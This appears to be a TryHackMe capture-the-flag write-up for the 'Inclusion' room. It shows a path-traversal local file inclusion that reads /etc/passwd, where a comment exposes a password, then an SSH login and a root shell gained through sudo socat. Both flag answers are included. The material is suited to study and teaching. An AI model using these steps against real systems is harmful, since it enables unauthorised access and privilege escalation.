Inclusion - Write-up - TryHackMe

Information

Room#

  • Name: Inclusion
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: A beginner level LFI challenge

Inclusion

Write-up

[Task 2] Root It#

#1 - user flag#

Answer: 60989655118397345799

http://10.10.61.166/article?name=../../../../etc/passwd

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root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
falconfeast:x:1000:1000:falconfeast,,,:/home/falconfeast:/bin/bash
#falconfeast:rootpassword
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false

Log in via SSH with teh commented credentials:

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$ ssh falconfeast@10.10.61.166
$ cat user.txt

#2 - root flag#

Answer: 42964104845495153909

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falconfeast@inclusion:~$ sudo -l
Matching Defaults entries for falconfeast on inclusion:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User falconfeast may run the following commands on inclusion:
(root) NOPASSWD: /usr/bin/socat

falconfeast@inclusion:~$ sudo /usr/bin/socat stdin exec:/bin/bash
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
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